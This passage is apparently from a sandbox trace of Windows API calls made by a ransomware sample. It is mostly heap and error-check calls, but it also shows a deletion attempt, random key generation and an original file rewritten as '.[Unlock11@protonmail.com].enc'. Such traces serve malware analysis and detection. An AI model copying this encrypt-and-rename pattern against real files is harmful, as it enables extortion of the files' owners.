hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0119.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0119.994] GetLastError () returned 0x0 [0119.995] GetLastError () returned 0x0 [0119.995] GetCurrentThreadId () returned 0x9b0 [0119.995] GetLastError () returned 0x0 [0119.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.995] GetLastError () returned 0x0 [0119.997] GetLastError () returned 0x0 [0119.997] GetCurrentThreadId () returned 0x9b0 [0119.997] GetLastError () returned 0x0 [0119.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.998] GetCurrentThreadId () returned 0x9b0 [0119.998] GetLastError () returned 0x0 [0119.998] GetLastError () returned 0x0 [0119.998] GetLastError () returned 0x0 [0119.998] GetLastError () returned 0x0 [0119.999] GetCurrentThreadId () returned 0x9b0 [0119.999] GetLastError () returned 0x0 [0119.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0119.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.999] GetLastError () returned 0x0 [0120.000] GetLastError () returned 0x0 [0120.000] GetCurrentThreadId () returned 0x9b0 [0120.001] GetLastError () returned 0x0 [0120.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.001] GetLastError () returned 0x0 [0120.002] GetLastError () returned 0x0 [0120.002] GetCurrentThreadId () returned 0x9b0 [0120.002] GetLastError () returned 0x0 [0120.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0120.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.003] GetLastError () returned 0x0 [0120.003] GetLastError () returned 0x0 [0120.003] GetLastError () returned 0x0 [0120.003] GetLastError () returned 0x0 [0120.003] GetCurrentThreadId () returned 0x9b0 [0120.003] GetLastError () returned 0x0 [0120.003] GetCurrentThreadId () returned 0x9b0 [0120.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0120.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0120.004] GetLastError () returned 0x0 [0120.005] GetLastError () returned 0x0 [0120.005] GetCurrentThreadId () returned 0x9b0 [0120.005] GetLastError () returned 0x0 [0120.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.006] GetLastError () returned 0x0 [0120.007] GetLastError () returned 0x0 [0120.007] GetCurrentThreadId () returned 0x9b0 [0120.007] GetLastError () returned 0x0 [0120.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0120.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.007] GetLastError () returned 0x0 [0120.008] GetLastError () returned 0x0 [0120.008] GetLastError () returned 0x0 [0120.008] GetLastError () returned 0x0 [0120.008] GetCurrentThreadId () returned 0x9b0 [0120.008] GetLastError () returned 0x0 [0120.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.008] GetLastError () returned 0x0 [0120.010] GetLastError () returned 0x0 [0120.010] GetCurrentThreadId () returned 0x9b0 [0120.010] GetLastError () returned 0x0 [0120.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.010] GetCurrentThreadId () returned 0x9b0 [0120.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.011] GetLastError () returned 0x0 [0120.011] GetLastError () returned 0x0 [0120.011] GetCurrentThreadId () returned 0x9b0 [0120.011] GetLastError () returned 0x0 [0120.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.012] GetLastError () returned 0x0 [0120.012] GetLastError () returned 0x0 [0120.012] GetLastError () returned 0x0 [0120.012] GetLastError () returned 0x0 [0120.012] GetCurrentThreadId () returned 0x9b0 [0120.012] GetLastError () returned 0x0 [0120.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0120.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0120.013] GetLastError () returned 0x0 [0120.014] GetLastError () returned 0x0 [0120.014] GetCurrentThreadId () returned 0x9b0 [0120.014] GetLastError () returned 0x0 [0120.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.014] GetLastError () returned 0x0 [0120.015] GetLastError () returned 0x0 [0120.015] GetCurrentThreadId () returned 0x9b0 [0120.015] GetLastError () returned 0x0 [0120.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.015] GetCurrentThreadId () returned 0x9b0 [0120.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0120.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.015] GetLastError () returned 0x0 [0120.016] GetLastError () returned 0x0 [0120.016] GetLastError () returned 0x0 [0120.016] GetLastError () returned 0x0 [0120.016] GetCurrentThreadId () returned 0x9b0 [0120.016] GetLastError () returned 0x0 [0120.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.017] GetLastError () returned 0x0 [0120.018] GetLastError () returned 0x0 [0120.018] GetCurrentThreadId () returned 0x9b0 [0120.018] GetLastError () returned 0x0 [0120.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.018] GetLastError () returned 0x0 [0120.018] GetLastError () returned 0x0 [0120.019] GetCurrentThreadId () returned 0x9b0 [0120.019] GetLastError () returned 0x0 [0120.019] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x9bd5) returned 0x36f8548 [0120.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.019] GetCurrentThreadId () returned 0x9b0 [0120.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653c8 [0120.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0120.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9bd8) returned 0x3702128 [0120.019] GetLastError () returned 0x0 [0120.019] GetLastError () returned 0x0 [0120.020] GetLastError () returned 0x0 [0120.020] GetLastError () returned 0x0 [0120.020] GetCurrentThreadId () returned 0x9b0 [0120.020] GetLastError () returned 0x0 [0120.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3702128 | out: hHeap=0x2ad0000) returned 1 [0120.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0120.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0120.020] GetLastError () returned 0x0 [0120.021] GetLastError () returned 0x0 [0120.021] GetCurrentThreadId () returned 0x9b0 [0120.021] GetLastError () returned 0x0 [0120.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.021] GetLastError () returned 0x0 [0120.021] GetLastError () returned 0x0 [0120.022] GetCurrentThreadId () returned 0x9b0 [0120.022] GetLastError () returned 0x0 [0120.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.022] GetLastError () returned 0x0 [0120.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.022] CloseHandle (hObject=0x3ac) returned 1 [0120.023] GetLastError () returned 0x0 [0120.023] GetCurrentThreadId () returned 0x9b0 [0120.023] GetLastError () returned 0x0 [0120.023] GetLastError () returned 0x0 [0120.023] CloseHandle (hObject=0x39c) returned 1 [0120.023] GetLastError () returned 0x0 [0120.023] GetCurrentThreadId () returned 0x9b0 [0120.023] GetLastError () returned 0x0 [0120.023] GetLastError () returned 0x0 [0120.023] GetLastError () returned 0x0 [0120.023] GetLastError () returned 0x0 [0120.024] GetLastError () returned 0x0 [0120.024] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0 [0120.024] GetLastError () returned 0x5 [0120.024] GetCurrentThreadId () returned 0x9b0 [0120.024] GetLastError () returned 0x5 [0120.024] GetCurrentThreadId () returned 0x9b0 [0120.024] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", lpFilePart=0x9bada4*="hwrlatinlm.dat") returned 0x41 [0120.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0120.025] GetCurrentThreadId () returned 0x9b0 [0120.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0120.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0120.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0120.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0120.025] GetCurrentThreadId () returned 0x9b0 [0120.025] GetCurrentThreadId () returned 0x9b0 [0120.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea318 [0120.025] GetCurrentThreadId () returned 0x9b0 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a968 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.026] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30)) returned 1 [0120.026] GetCurrentThreadId () returned 0x9b0 [0120.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0120.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0120.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0120.027] GetCurrentThreadId () returned 0x9b0 [0120.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0120.027] GetCurrentThreadId () returned 0x9b0 [0120.027] GetCurrentThreadId () returned 0x9b0 [0120.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0120.027] GetCurrentThreadId () returned 0x9b0 [0120.028] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.028] GetFileType (hFile=0x39c) returned 0x1 [0120.028] GetCurrentThreadId () returned 0x9b0 [0120.028] GetFileType (hFile=0x39c) returned 0x1 [0120.028] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.028] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.028] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.028] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.028] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.029] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.029] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.029] GetLastError () returned 0x0 [0120.029] GetCurrentThreadId () returned 0x9b0 [0120.029] GetLastError () returned 0x0 [0120.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0120.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0120.029] GetLastError () returned 0x0 [0120.029] GetLastError () returned 0x0 [0120.029] GetLastError () returned 0x0 [0120.029] GetLastError () returned 0x0 [0120.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0120.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265298 [0120.030] GetLastError () returned 0x0 [0120.030] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.030] GetFileType (hFile=0x3ac) returned 0x1 [0120.030] GetLastError () returned 0x0 [0120.030] GetCurrentThreadId () returned 0x9b0 [0120.030] GetLastError () returned 0x0 [0120.030] GetFileType (hFile=0x3ac) returned 0x1 [0120.031] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.031] GetLastError () returned 0x0 [0120.031] GetCurrentThreadId () returned 0x9b0 [0120.031] GetLastError () returned 0x0 [0120.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265298 | out: hHeap=0x2ad0000) returned 1 [0120.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0120.061] GetCurrentThreadId () returned 0x9b0 [0120.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.061] GetLastError () returned 0x0 [0120.061] GetLastError () returned 0x0 [0120.061] GetCurrentThreadId () returned 0x9b0 [0120.061] GetLastError () returned 0x0 [0120.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0120.062] GetLastError () returned 0x0 [0120.062] GetLastError () returned 0x0 [0120.062] GetCurrentThreadId () returned 0x9b0 [0120.062] GetLastError () returned 0x0 [0120.062] GetLastError () returned 0x0 [0120.064] GetLastError () returned 0x0 [0120.064] GetCurrentThreadId () returned 0x9b0 [0120.064] GetLastError () returned 0x0 [0120.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.065] GetLastError () returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] GetLastError () returned 0x0 [0120.065] GetCurrentThreadId () returned 0x9b0 [0120.065] GetLastError () returned 0x0 [0120.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0120.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.066] GetLastError () returned 0x0 [0120.068] GetLastError () returned 0x0 [0120.068] GetCurrentThreadId () returned 0x9b0 [0120.068] GetLastError () returned 0x0 [0120.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.068] GetCurrentThreadId () returned 0x9b0 [0120.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.069] GetLastError () returned 0x0 [0120.070] GetLastError () returned 0x0 [0120.070] GetCurrentThreadId () returned 0x9b0 [0120.070] GetLastError () returned 0x0 [0120.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.071] GetLastError () returned 0x0 [0120.071] GetLastError () returned 0x0 [0120.071] GetLastError () returned 0x0 [0120.071] GetLastError () returned 0x0 [0120.071] GetCurrentThreadId () returned 0x9b0 [0120.071] GetLastError () returned 0x0 [0120.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0120.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0120.072] GetLastError () returned 0x0 [0120.073] GetLastError () returned 0x0 [0120.073] GetCurrentThreadId () returned 0x9b0 [0120.073] GetLastError () returned 0x0 [0120.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.073] GetLastError () returned 0x0 [0120.075] GetLastError () returned 0x0 [0120.075] GetCurrentThreadId () returned 0x9b0 [0120.075] GetLastError () returned 0x0 [0120.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.075] GetCurrentThreadId () returned 0x9b0 [0120.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.075] GetLastError () returned 0x0 [0120.076] GetLastError () returned 0x0 [0120.076] GetLastError () returned 0x0 [0120.076] GetLastError () returned 0x0 [0120.076] GetCurrentThreadId () returned 0x9b0 [0120.076] GetLastError () returned 0x0 [0120.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0120.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0120.076] GetLastError () returned 0x0 [0120.078] GetLastError () returned 0x0 [0120.078] GetCurrentThreadId () returned 0x9b0 [0120.078] GetLastError () returned 0x0 [0120.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.078] GetLastError () returned 0x0 [0120.079] GetLastError () returned 0x0 [0120.079] GetCurrentThreadId () returned 0x9b0 [0120.080] GetLastError () returned 0x0 [0120.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.080] GetCurrentThreadId () returned 0x9b0 [0120.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.080] GetLastError () returned 0x0 [0120.080] GetLastError () returned 0x0 [0120.081] GetLastError () returned 0x0 [0120.081] GetLastError () returned 0x0 [0120.081] GetCurrentThreadId () returned 0x9b0 [0120.081] GetLastError () returned 0x0 [0120.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.081] GetLastError () returned 0x0 [0120.082] GetLastError () returned 0x0 [0120.082] GetCurrentThreadId () returned 0x9b0 [0120.083] GetLastError () returned 0x0 [0120.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.083] GetLastError () returned 0x0 [0120.084] GetLastError () returned 0x0 [0120.085] GetCurrentThreadId () returned 0x9b0 [0120.085] GetLastError () returned 0x0 [0120.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0120.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.085] GetCurrentThreadId () returned 0x9b0 [0120.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.085] GetLastError () returned 0x0 [0120.086] GetLastError () returned 0x0 [0120.086] GetLastError () returned 0x0 [0120.086] GetLastError () returned 0x0 [0120.086] GetCurrentThreadId () returned 0x9b0 [0120.086] 